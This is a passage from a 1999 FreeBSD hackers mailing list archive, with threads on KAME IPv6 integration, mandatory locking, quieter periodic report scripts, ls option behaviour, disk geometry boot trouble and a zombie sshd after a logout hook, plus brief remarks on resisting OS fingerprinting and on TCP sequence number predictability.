(September). KAME September 30th STABLE kit will officially have "unified-ipv6" alias on it. It is now okay to merge KAME code into FreeBSD, I believe. If you do not feel ready, I'll be visiting FreeBSDCon so let's talk about it there (but will cause 2 month delay from now). The biggest problem is how to keep mutiple repositories in sync. KAME (= unified-ipv6) code shares most of IPv6 code among *BSD platforms. If FreeBSD repository is modified after import, and that conflicts with content in KAME repository, we can't merge that back in. So I would like to suggest FreeBSD project to refrain from changing IPv6 part too much, for certain amount of time (*). Rather, please send diffs to KAME. >Once that happens, I'm more than happy to continue to lean on >Justice Maryln Patel's decision on crypto as free speach in the S.F. >Bay Area region. We've already talked to our lawyer, he said it >looked legit to him, and so we've been shipping crypto on our CDs for >over a year now. I even announced it back then, to almost no audience >reaction whatsoever. It seems that people like to get more excited >about the prospect of something being closed than it being opened >up. :) It now happened, so please contact Mr. Patel:-) KAME team really needs your suggestions on how to integrate crypto part. In case of NetBSD/KAME integration, we did like this: - place IPsec core part and AH part into cvs.netbsd.org (in US) - place ESP part and crypto algorithms (DES, Blowfish and whatever in cvs.fi.netbsd.org (in finland) We need some tricky symbolic link, or makefile/config hack for this separated repository (NetBSD has makefile and config hack). itojun (*) As a side note: actually, KAME and unified-ipv6 has been experiencing big trouble sharing IPv6 code among *BSD, due to FreeBSD's variable renaming like ifa_list (ifa_link on others) or time_second (why FreeBSD couldn't reuse time.tv_sec to hold this? I don't get it). I'd like propose to fix those back to more standard ones (ifa_link or time.tv_sec) for portability among *BSD. If you are okay, those changes will come with FreeBSD/KAME integration. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Aug 23 1:42: 8 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from storm.FreeBSD.org.uk (storm.freebsd.org.uk [194.242.128.198]) by hub.freebsd.org (Postfix) with ESMTP id D864014D04; Mon, 23 Aug 1999 01:42:03 -0700 (PDT) (envelope-from brian@Awfulhak.org) Received: from keep.lan.Awfulhak.org (root@localhost [127.0.0.1]) by storm.FreeBSD.org.uk (8.9.3/8.9.3) with ESMTP id JAA26733; Mon, 23 Aug 1999 09:40:17 +0100 (BST) (envelope-from brian@Awfulhak.org) Received: from keep.lan.Awfulhak.org (brian@localhost.lan.Awfulhak.org [127.0.0.1]) by keep.lan.Awfulhak.org (8.9.3/8.9.3) with ESMTP id JAA51695; Mon, 23 Aug 1999 09:43:27 +0100 (BST) (envelope-from brian@keep.lan.Awfulhak.org) Message-Id: <199908230843.JAA51695@keep.lan.Awfulhak.org> X-Mailer: exmh version 2.0.2 2/24/98 To: "Daniel O'Connor" Cc: Greg Lehey , Garrett Wollman , FreeBSD Committers , FreeBSD Hackers , Poul-Henning Kamp , Matthew Dillon Subject: Re: Mandatory locking? In-reply-to: Your message of "Mon, 23 Aug 1999 15:35:24 +0930." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Mon, 23 Aug 1999 09:43:26 +0100 From: Brian Somers Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > On 23-Aug-99 Greg Lehey wrote: > > I'm a little surprised that there's any objection to the concept of > > mandatory locking. In transaction processing, locking is not > > optional, and if any process at all can access a file or set of files > > without locking, you can't guarantee the database integrity. Other > > OSs have used mandatory locking for decades, and System V has it too. > > So far I haven't seen any arguments, let alone valid ones, against > > having it in FreeBSD. > > I think its a good idea, and hey if people object it can always be an option > like -> > > option NO_MANDATORY_LOCKING Not quite - developers have to deal with the mess that it would cause - Matt for example says: : Ugh. Yuch. No, nothing to do with permission bits, not for something : this convoluted! Are you saying that he should just enable an option and forget about it when he tweaks something horrible in NFS that only a handfull of others understand ? :-I -- Brian Don't _EVER_ lose your sense of humour ! To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Aug 23 2:11:13 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from rucus.ru.ac.za (rucus.ru.ac.za [146.231.29.2]) by hub.freebsd.org (Postfix) with SMTP id DDE8F1561F for ; Mon, 23 Aug 1999 02:10:47 -0700 (PDT) (envelope-from geoff@rucus.ru.ac.za) Received: (qmail 94849 invoked by uid 268); 23 Aug 1999 09:09:06 -0000 Message-ID: <19990823090906.94848.qmail@rucus.ru.ac.za> Subject: Re: setting up -STABLE for hack contest In-Reply-To: <37BDA6E7.1B8F3BFB@ispro.net.tr> from Evren Yurtesen at "Aug 20, 1999 10:05:11 pm" To: yurtesen@ispro.net.tr (Evren Yurtesen) Date: Mon, 23 Aug 1999 11:09:06 +0200 (SAST) Cc: hackers@freebsd.org Reply-To: "Geoff Rehmet" From: "Geoff Rehmet" X-Mailer: ELM [version 2.4ME+ PL54 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Evren Yurtesen writes : > it is possible to detect operating systems from their behaviours > of replying to packets. > > see the program queso from ports/packages. > > but anyway you can change the login prompt from /etc/gettytab file > Also have a look at ports/security/nmap, and go to www.insecure.org. In order to stop someone guessing your OS, you will need to make changes to your TCP implementation. These include, changing the way in which TCP initial sequence numbers are calculated, as well as changing behaviour of TCP wrt the handling of certain "unexpected" TCP segments on open or closed ports - e.g. what happens when someone sends a surprise FIN segment to a closed port. Geoff. -- Geoff Rehmet, The Internet Solution geoffr@is.co.za; geoff@rucus.ru.ac.za; csgr@freebsd.org tel: +27-83-292-5800 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Aug 23 2:13:53 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from vax1.baker.ie (VAX1.baker.IE [194.125.50.91]) by hub.freebsd.org (Postfix) with SMTP id A5F5714D3E for ; Mon, 23 Aug 1999 02:13:48 -0700 (PDT) (envelope-from cillian@baker.ie) Received: from baker.ie ([194.125.50.55]) by vax1.baker.ie with ESMTP for hackers@freebsd.org; Mon, 23 Aug 1999 10:18:43 +0100 Message-ID: <37C10D71.EAA5D819@baker.ie> Date: Mon, 23 Aug 1999 09:59:29 +0100 From: Cillian Sharkey X-Mailer: Mozilla 4.6 [en] (Win95; U) X-Accept-Language: en MIME-Version: 1.0 To: hackers@freebsd.org Subject: proposed change for /etc/periodic/* scripts Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi, Currently, the reports that are generated and emailed to root are fine in what they do. however, a lot of the time there is actaully nothing of interest in these reports if nothing has gone wrong on the system etc. Basically I only want to know about the changes that have happened. This would be useful in cutting down the size of these emails esp. when you are receiving them from multiple fbsd servers.. :P example: * if there are no passwd/group diffs found, don't print anything out (not even the header). Same for setuid etc. diffs. * For the 'df' status, only report filesystems that are over a certain capacity (95% or only xxMb left etc..) and the same for all the other tests..basically if there's nothing to report don't print anything (not even the header) otherwise print the header and the results.. Ideas / Comments / Suggestions ? - Cillian To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Aug 23 2:20:23 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from axl.noc.iafrica.com (axl.noc.iafrica.com [196.31.1.175]) by hub.freebsd.org (Postfix) with ESMTP id 6640F14D3E for ; Mon, 23 Aug 1999 02:20:07 -0700 (PDT) (envelope-from sheldonh@axl.noc.iafrica.com) Received: from sheldonh (helo=axl.noc.iafrica.com) by axl.noc.iafrica.com with local-esmtp (Exim 3.02 #1) id 11IqG5-000CgI-00; Mon, 23 Aug 1999 11:19:17 +0200 From: Sheldon Hearn To: Cillian Sharkey Cc: hackers@freebsd.org Subject: Re: proposed change for /etc/periodic/* scripts In-reply-to: Your message of "Mon, 23 Aug 1999 09:59:29 +0100." <37C10D71.EAA5D819@baker.ie> Date: Mon, 23 Aug 1999 11:19:17 +0200 Message-ID: <48749.935399957@axl.noc.iafrica.com> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, 23 Aug 1999 09:59:29 +0100, Cillian Sharkey wrote: > Ideas / Comments / Suggestions ? Diffs ? :-) Ciao, Sheldon. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Aug 23 2:27:30 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from student-mailhub.dcu.ie (ns.dcu.ie [136.206.1.3]) by hub.freebsd.org (Postfix) with ESMTP id B552014D3E for ; Mon, 23 Aug 1999 02:27:26 -0700 (PDT) (envelope-from pooka@redbrick.dcu.ie) Received: from mother.redbrick.dcu.ie (postfix@Mother.RedBrick.DCU.IE [136.206.15.2]) by student-mailhub.dcu.ie (8.9.3/8.9.3/893-FD) with ESMTP id KAA04758 for ; Mon, 23 Aug 1999 10:27:25 +0100 (BST) Received: by mother.redbrick.dcu.ie (Postfix, from userid 2033) id D95C043850; Mon, 23 Aug 1999 10:27:24 +0100 (BST) Date: Mon, 23 Aug 1999 10:27:24 +0100 To: hackers@FreeBSD.ORG Subject: Re: On TCP sequence numbers Message-ID: <19990823102724.A13469@mother.redbrick.dcu.ie> References: <199908201427.QAA02524@hangdog.is.co.za> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.6i In-Reply-To: <199908201427.QAA02524@hangdog.is.co.za>; from Geoff Rehmet on Fri, Aug 20, 1999 at 04:27:44PM +0200 Organization: My Own Private Hideyhole, Inc. From: pooka@redbrick.dcu.ie (Tiny Non Cats) Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG [ Geoff Rehmet ] > Another question that comes in to this is - how good a tool is nmap > for evaluating the predictability of the sequence numbers we generate? Just a funny (?) aside - while playing about with nmap here a while back, a colleague accidentally discovered that our Digital (or Compaq Tru64, if you want to be perverse) Unix 4.0E box was using a constant (?!) sequence number. Cian -- What think ye of Christ? Whose son is he? Will you, like Peter, boldly say: "Who?" To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Aug 23 2:32:59 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from vax1.baker.ie (VAX1.baker.IE [194.125.50.91]) by hub.freebsd.org (Postfix) with SMTP id 0F51D1562B for ; Mon, 23 Aug 1999 02:32:51 -0700 (PDT) (envelope-from cillian@baker.ie) Received: from baker.ie ([194.125.50.55]) by vax1.baker.ie with ESMTP; Mon, 23 Aug 1999 10:37:54 +0100 Message-ID: <37C111F0.9A308183@baker.ie> Date: Mon, 23 Aug 1999 10:18:40 +0100 From: Cillian Sharkey X-Mailer: Mozilla 4.6 [en] (Win95; U) X-Accept-Language: en MIME-Version: 1.0 To: Sheldon Hearn Cc: hackers@freebsd.org Subject: Re: proposed change for /etc/periodic/* scripts References: <48749.935399957@axl.noc.iafrica.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > > Ideas / Comments / Suggestions ? ^^^^^ ^^^^^^^^ ^^^^^^^^^^^ Well ? > Diffs ? I haven't actually done any work on this (yet) but I might see what I can hack together.. ^^^^ ;) Cillian To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Aug 23 2:38:21 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from axl.noc.iafrica.com (axl.noc.iafrica.com [196.31.1.175]) by hub.freebsd.org (Postfix) with ESMTP id C097D1563A; Mon, 23 Aug 1999 02:37:49 -0700 (PDT) (envelope-from sheldonh@axl.noc.iafrica.com) Received: from sheldonh (helo=axl.noc.iafrica.com) by axl.noc.iafrica.com with local-esmtp (Exim 3.02 #1) id 11IqWG-000Cl0-00; Mon, 23 Aug 1999 11:36:00 +0200 From: Sheldon Hearn To: "Brian F. Feldman" Cc: freebsd-hackers@FreeBSD.ORG Subject: Re: ls(1) options affecting -l long format In-reply-to: Your message of "Mon, 23 Aug 1999 01:00:05 MST." Date: Mon, 23 Aug 1999 11:36:00 +0200 Message-ID: <49041.935400960@axl.noc.iafrica.com> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, 23 Aug 1999 01:00:05 MST, "Brian F. Feldman" wrote: > The reason I say it doesn't make sense is that you shouldn't be asking > for a long listing with ls -l if you want numeric ids, you should be > using ls -n. Instead of your alias, you should just be using ls -n > where you'd otherwise use ls -l. That's good enough for me. :-) If there are no objections (other than the obvious backward issue of compatibility) in the next few days, I'll bring Chris's change in (with a style fix), as well as teaching -o to imply -l. I'm not to phased with backward compatibility on this one, since I think it's always been understood that the output of ls isn't really intended for scripts (that's what find and test are for). The OpenGroup spec actually makes a point of that in its manpage. Thanks for your input. Later, Sheldon. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Aug 23 2:38:44 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from axl.noc.iafrica.com (axl.noc.iafrica.com [196.31.1.175]) by hub.freebsd.org (Postfix) with ESMTP id BF3EF15695 for ; Mon, 23 Aug 1999 02:38:22 -0700 (PDT) (envelope-from sheldonh@axl.noc.iafrica.com) Received: from sheldonh (helo=axl.noc.iafrica.com) by axl.noc.iafrica.com with local-esmtp (Exim 3.02 #1) id 11IqXK-000ClT-00; Mon, 23 Aug 1999 11:37:06 +0200 From: Sheldon Hearn To: Cillian Sharkey Cc: hackers@freebsd.org Subject: Re: proposed change for /etc/periodic/* scripts In-reply-to: Your message of "Mon, 23 Aug 1999 10:18:40 +0100." <37C111F0.9A308183@baker.ie> Date: Mon, 23 Aug 1999 11:37:06 +0200 Message-ID: <49070.935401026@axl.noc.iafrica.com> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, 23 Aug 1999 10:18:40 +0100, Cillian Sharkey wrote: > I haven't actually done any work on this (yet) > but I might see what I can hack together.. > ^^^^ The reason I suggest that you provide diffs first is that it's difficult to comment on your proposal without seeing _how_ and to _what_ extent you want to change things. Diffs will remedy that. Ciao, Sheldon. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Aug 23 2:46:43 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from rucus.ru.ac.za (rucus.ru.ac.za [146.231.29.2]) by hub.freebsd.org (Postfix) with SMTP id 9C8E11562B for ; Mon, 23 Aug 1999 02:46:29 -0700 (PDT) (envelope-from nbm@rucus.ru.ac.za) Received: (qmail 5396 invoked by uid 1003); 23 Aug 1999 09:45:31 -0000 Date: Mon, 23 Aug 1999 11:45:31 +0200 From: Neil Blakey-Milner To: Cillian Sharkey Cc: hackers@FreeBSD.ORG Subject: Re: proposed change for /etc/periodic/* scripts Message-ID: <19990823114530.A4135@rucus.ru.ac.za> References: <37C10D71.EAA5D819@baker.ie> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.6i In-Reply-To: <37C10D71.EAA5D819@baker.ie>; from Cillian Sharkey on Mon, Aug 23, 1999 at 09:59:29AM +0100 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon 1999-08-23 (09:59), Cillian Sharkey wrote: > and the same for all the other tests..basically if there's nothing > to report don't print anything (not even the header) otherwise > print the header and the results.. > > Ideas / Comments / Suggestions ? I have changes to this effect active on a box not here, I'll see if it is up-to-date enough to generate patches, and send them on to help you, if necessary. Neil -- Neil Blakey-Milner nbm@rucus.ru.ac.za To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Aug 23 3:42: 0 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from mpp.pro-ns.net (pppdsle70.mpls.uswest.net [216.160.23.70]) by hub.freebsd.org (Postfix) with ESMTP id 4CC7914CF5 for ; Mon, 23 Aug 1999 03:41:57 -0700 (PDT) (envelope-from mpp@mpp.pro-ns.net) Received: (from mpp@localhost) by mpp.pro-ns.net (8.9.3/8.9.3) id FAA15241; Mon, 23 Aug 1999 05:40:53 -0500 (CDT) (envelope-from mpp) From: Mike Pritchard Message-Id: <199908231040.FAA15241@mpp.pro-ns.net> Subject: Re: proposed change for /etc/periodic/* scripts In-Reply-To: <37C10D71.EAA5D819@baker.ie> from Cillian Sharkey at "Aug 23, 1999 09:59:29 am" To: cillian@baker.ie (Cillian Sharkey) Date: Mon, 23 Aug 1999 05:40:53 -0500 (CDT) Cc: hackers@freebsd.org X-Mailer: ELM [version 2.4ME+ PL54 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > Currently, the reports that are generated and emailed to root are > fine in what they do. however, a lot of the time there is actaully > nothing of interest in these reports if nothing has gone wrong > on the system etc. Basically I only want to know about the changes > that have happened. This would be useful in cutting down the size > of these emails esp. when you are receiving them from multiple > fbsd servers.. :P Make sure they always generate some output so that a message does get mailed. On more than once occasion I noticed that one of my boxes keeled over or the network broke when I didn't get my expected daily output from that machine. > example: > > * if there are no passwd/group diffs found, don't print anything > out (not even the header). Same for setuid etc. diffs. > > * For the 'df' status, only report filesystems that are over > a certain capacity (95% or only xxMb left etc..) You might want to make the df part an rc.conf (or maybe a new periodic.conf) knob. I have couple of machines that basically do nothing all week long and the disk space should always be pretty much constant. If I notice that the disk space usage changed a lot, then I should go check that machine out, because something went haywire. > and the same for all the other tests..basically if there's nothing > to report don't print anything (not even the header) otherwise > print the header and the results.. I've had a bad experience with this in the past. One of our adminstrators didn't like wading through all of the periodic output and changed the scripts to do what you want. Sometime down the line I figured out that he had broken something in the script early on and 90% of it never got executed, and since no output meant everything was fine....you get the point. Again, maybe an rc.conf knob that tells the periodic scripts to be "quiet". I've got a couple of machines here that I would might use that on, but not on my main servers. -Mike -- Mike Pritchard mpp@FreeBSD.ORG or mpp@mpp.pro-ns.net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Aug 23 3:46:39 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from netvisor.hu (mmtp89.mit.bme.hu [152.66.81.169]) by hub.freebsd.org (Postfix) with ESMTP id AC6CF14CF5; Mon, 23 Aug 1999 03:46:30 -0700 (PDT) (envelope-from szoli@netvisor.hu) Received: from localhost (szoli@localhost) by netvisor.hu (8.8.7/8.8.7) with ESMTP id NAA02907; Mon, 23 Aug 1999 13:21:09 +0200 Date: Mon, 23 Aug 1999 13:21:08 +0200 (CEST) From: Sebestyen Zoltan X-Sender: szoli@linux.intranet.netvisor.hu To: FreeBSD questions mailinglist Cc: FreeBSD hackers mailinglist Subject: Slightly BSD related problem Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=iso-8859-2 Content-Transfer-Encoding: QUOTED-PRINTABLE Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi, I've got a problem with my machine at home which is slightly BSD related (cause ONLY BSD could handle the problem:))). So: At this moment, I've got a 2.2.7-FreeBSD and an NT installed on my PC.=20 There are two hard drives in the PC, the primary master IDE drive is a 2.5 Quantum drive, it is set to LBA in the BIOS. The second one is secondary slave, an old 405M Quantum drive. The (AWARD) BIOS can't recognize right geometry of the latter one via 'IDE HD autodetection'. The first HD has got the NT and BSD installed and a 'booteasy' in the root=20 sector installed from the FreeBSD distribution. Although booteasy can recognize the type of the partitions on the first HD, it cannot boot them. The only way to boot up my PC is to insert the BSD install CD in the CD drive and when the BSD boot prompt appears, type: 1:wd(0,a)kernel. After that, the BSD already installed on the hard drive would start up, recognizes is all the parts of the PC and everything would run fine as they should. This situation happened tho weeks ago. Before, my PC work quite well, w/o problems. I would like to know, where does BSD know from the geometry of the disks when BIOS can't get them. =09=09=09Thanks in advance ---------------------------------------------------------------------------= ----- Sebesty=E9n Zolt=E1n =09I'm believing that the Holy Spir= it is =09=09=09=09=09gonna allow the hand, and the foot, and MAKE INSTALL NOT WAR=09=09=09the mouth, just to begin to speak, and to minister, and to heal coordinate= d by =09=09=09=09=09the head. I use UNIX because reboots are for hardware upgrades. Kick me! Whip me!! Make me develop on AIX!!! To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Aug 23 4: 5:55 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from vax1.baker.ie (VAX1.baker.IE [194.125.50.91]) by hub.freebsd.org (Postfix) with SMTP id 014B31560A; Mon, 23 Aug 1999 04:05:50 -0700 (PDT) (envelope-from cillian@baker.ie) Received: from baker.ie ([194.125.50.55]) by vax1.baker.ie with ESMTP; Mon, 23 Aug 1999 12:09:23 +0100 Message-ID: <37C12761.A8A017F5@baker.ie> Date: Mon, 23 Aug 1999 11:50:09 +0100 From: Cillian Sharkey X-Mailer: Mozilla 4.6 [en] (Win95; U) X-Accept-Language: en MIME-Version: 1.0 To: Mike Pritchard Cc: hackers@freebsd.org Subject: Re: proposed change for /etc/periodic/* scripts References: <199908231040.FAA15241@mpp.pro-ns.net> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > Make sure they always generate some output so that a message > does get mailed. On more than once occasion I noticed that one > of my boxes keeled over or the network broke when I didn't > get my expected daily output from that machine. My proposal would only *cut down* on all the white space, unnecessary lines etc. in the output, there would of course always be a report mailed out (with network interface status, uptime info etc..) As long as I get the reports and see no errors, i know all the various housekeeping chores the periodic scripts do have actually been done, if not I'll see an error msg in the report.. > You might want to make the df part an rc.conf (or maybe a new periodic.conf) > knob. I have couple of machines that basically do nothing all week long > and the disk space should always be pretty much constant. If I notice that > the disk space usage changed a lot, then I should go check that machine out, > because something went haywire. yes perhaps an /etc/periodic.conf would be good, to control the level of verbosity and/or set options for each script ? > I've had a bad experience with this in the past. One of our > adminstrators didn't like wading through all of the periodic > output and changed the scripts to do what you want. Sometime > down the line I figured out that he had broken something in > the script early on and 90% of it never got executed, and since > no output meant everything was fine....you get the point. Yes, that's always a danger.. :P to sum up : for scripts that do chores, if they ran successfully don't bother telling me. if they failed, tell me. for status reports (df, netstat, ruptime..) tell me for checks (passwd diff etc.) tell me IF there's something to report - Cillian To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Aug 23 4:14:10 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from axl.noc.iafrica.com (axl.noc.iafrica.com [196.31.1.175]) by hub.freebsd.org (Postfix) with ESMTP id 6A27B1560A; Mon, 23 Aug 1999 04:13:55 -0700 (PDT) (envelope-from sheldonh@axl.noc.iafrica.com) Received: from sheldonh (helo=axl.noc.iafrica.com) by axl.noc.iafrica.com with local-esmtp (Exim 3.02 #1) id 11Is2M-000D43-00; Mon, 23 Aug 1999 13:13:14 +0200 From: Sheldon Hearn To: "Brian F. Feldman" Cc: freebsd-hackers@FreeBSD.ORG Subject: Re: ls(1) options affecting -l long format In-reply-to: Your message of "Mon, 23 Aug 1999 11:36:00 +0200." <49041.935400960@axl.noc.iafrica.com> Date: Mon, 23 Aug 1999 13:13:14 +0200 Message-ID: <50222.935406794@axl.noc.iafrica.com> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, 23 Aug 1999 11:36:00 +0200, Sheldon Hearn wrote: > If there are no objections (other than the obvious backward issue of > compatibility) in the next few days, I'll bring Chris's change in (with > a style fix), as well as teaching -o to imply -l. Eeek, I've been confused. Our -o and the OpenGroup spec's -o are completely different. :-) The -n option will imply -l, but -o will be a no-op unless at least one of -n and -l is specified. Manpage changes will be included in the deal. Ciao, Sheldon. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Aug 23 4:35: 8 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from salmon.maths.tcd.ie (salmon.maths.tcd.ie [134.226.81.11]) by hub.freebsd.org (Postfix) with SMTP id 0862514CEE for ; Mon, 23 Aug 1999 04:35:05 -0700 (PDT) (envelope-from dwmalone@maths.tcd.ie) Received: from walton.maths.tcd.ie by salmon.maths.tcd.ie with SMTP id ; 23 Aug 1999 12:34:21 +0100 (BST) Date: Mon, 23 Aug 1999 12:34:20 +0100 From: David Malone To: Cillian Sharkey Cc: hackers@freebsd.org Subject: Re: proposed change for /etc/periodic/* scripts Message-ID: <19990823123420.A45940@walton.maths.tcd.ie> References: <37C10D71.EAA5D819@baker.ie> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.6i In-Reply-To: <37C10D71.EAA5D819@baker.ie>; from Cillian Sharkey on Mon, Aug 23, 1999 at 09:59:29AM +0100 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, Aug 23, 1999 at 09:59:29AM +0100, Cillian Sharkey wrote: > * if there are no passwd/group diffs found, don't print anything > out (not even the header). Same for setuid etc. diffs. > > * For the 'df' status, only report filesystems that are over > a certain capacity (95% or only xxMb left etc..) This may not be a good idea. I often check daily reports to see if a disk has suddenly filled or had been gradually filling over a long period of time - you wouldn't be able to get this info if you print stuff selectively. For anyone who reads daily reports regurally it doesn't take long to get used to the usual look of a report of moderate length (<2screens?) and to notice if something is out of place. You don't have to read every single word (and if you need to come back to it all the info should be there). David. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Aug 23 4:38:52 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from midget.dons.net.au (daniel.lnk.telstra.net [139.130.137.70]) by hub.freebsd.org (Postfix) with ESMTP id 06F79156DC; Mon, 23 Aug 1999 04:38:33 -0700 (PDT) (envelope-from doconnor@gsoft.com.au) Received: from guppy.dons.net.au (guppy.dons.net.au [203.31.81.9]) by midget.dons.net.au (8.9.3/8.9.1) with ESMTP id VAA03421; Mon, 23 Aug 1999 21:07:24 +0930 (CST) (envelope-from doconnor@gsoft.com.au) Message-ID: X-Mailer: XFMail 1.3 [p0] on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: <199908230843.JAA51695@keep.lan.Awfulhak.org> Date: Mon, 23 Aug 1999 21:07:24 +0930 (CST) From: "Daniel J. O'Connor" To: Brian Somers Subject: Re: Mandatory locking? Cc: Matthew Dillon Cc: Matthew Dillon , Poul-Henning Kamp , FreeBSD Hackers , FreeBSD Committers , Garrett Wollman , Greg Lehey Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On 23-Aug-99 Brian Somers wrote: > > I think its a good idea, and hey if people object it can always be an > > option > > like -> > > option NO_MANDATORY_LOCKING > Not quite - developers have to deal with the mess that it would cause > - Matt for example says: Well, I think it would be a useful option, so adding the ability to disable it would possibly keep the people that hate it happy :) --- Daniel O'Connor software and network engineer for Genesis Software - http://www.gsoft.com.au "The nice thing about standards is that there are so many of them to choose from." -- Andrew Tanenbaum To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Aug 23 4:48:23 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from proxy.unpar.ac.id (star-5.unpar.ac.id [203.109.5.5]) by hub.freebsd.org (Postfix) with ESMTP id 39EFF156D0 for ; Mon, 23 Aug 1999 04:48:05 -0700 (PDT) (envelope-from thomas@home.unpar.ac.id) Received: from home.unpar.ac.id (root@home.unpar.ac.id [167.205.206.60]) by proxy.unpar.ac.id (8.9.2/8.9.2) with ESMTP id SAA33477 for ; Mon, 23 Aug 1999 18:49:49 +0700 (JAVT) (envelope-from thomas@home.unpar.ac.id) Received: from siomay (celerie-01.unpar.ac.id [10.100.103.101] (may be forged)) by home.unpar.ac.id (8.9.3/8.8.8) with SMTP id SAA00369 for ; Mon, 23 Aug 1999 18:54:21 +0700 (JAVT) (envelope-from thomas@home.unpar.ac.id) Message-ID: <000601beed5e$52403180$6567640a@siomay.unpar.ac.id> From: "Thomas Wahyudi" To: Subject: call system function in logout.c ceate zombie process Date: Mon, 23 Aug 1999 18:54:55 +0700 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-2" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 4.72.3110.1 X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi all, if I put command like "system(/usr/local/bin/radacct)" in logout.c everything goes normal but _if_ user logout normally that is, at prompt user type logout the problem is when user login using ssh and connection terminated by accident such as the client hang and have reboot, utmp wasn't clear and sshd become a zombie process is there any suggestion to avoid this problem ? thomas To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Aug 23 4:53:23 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from vax1.baker.ie 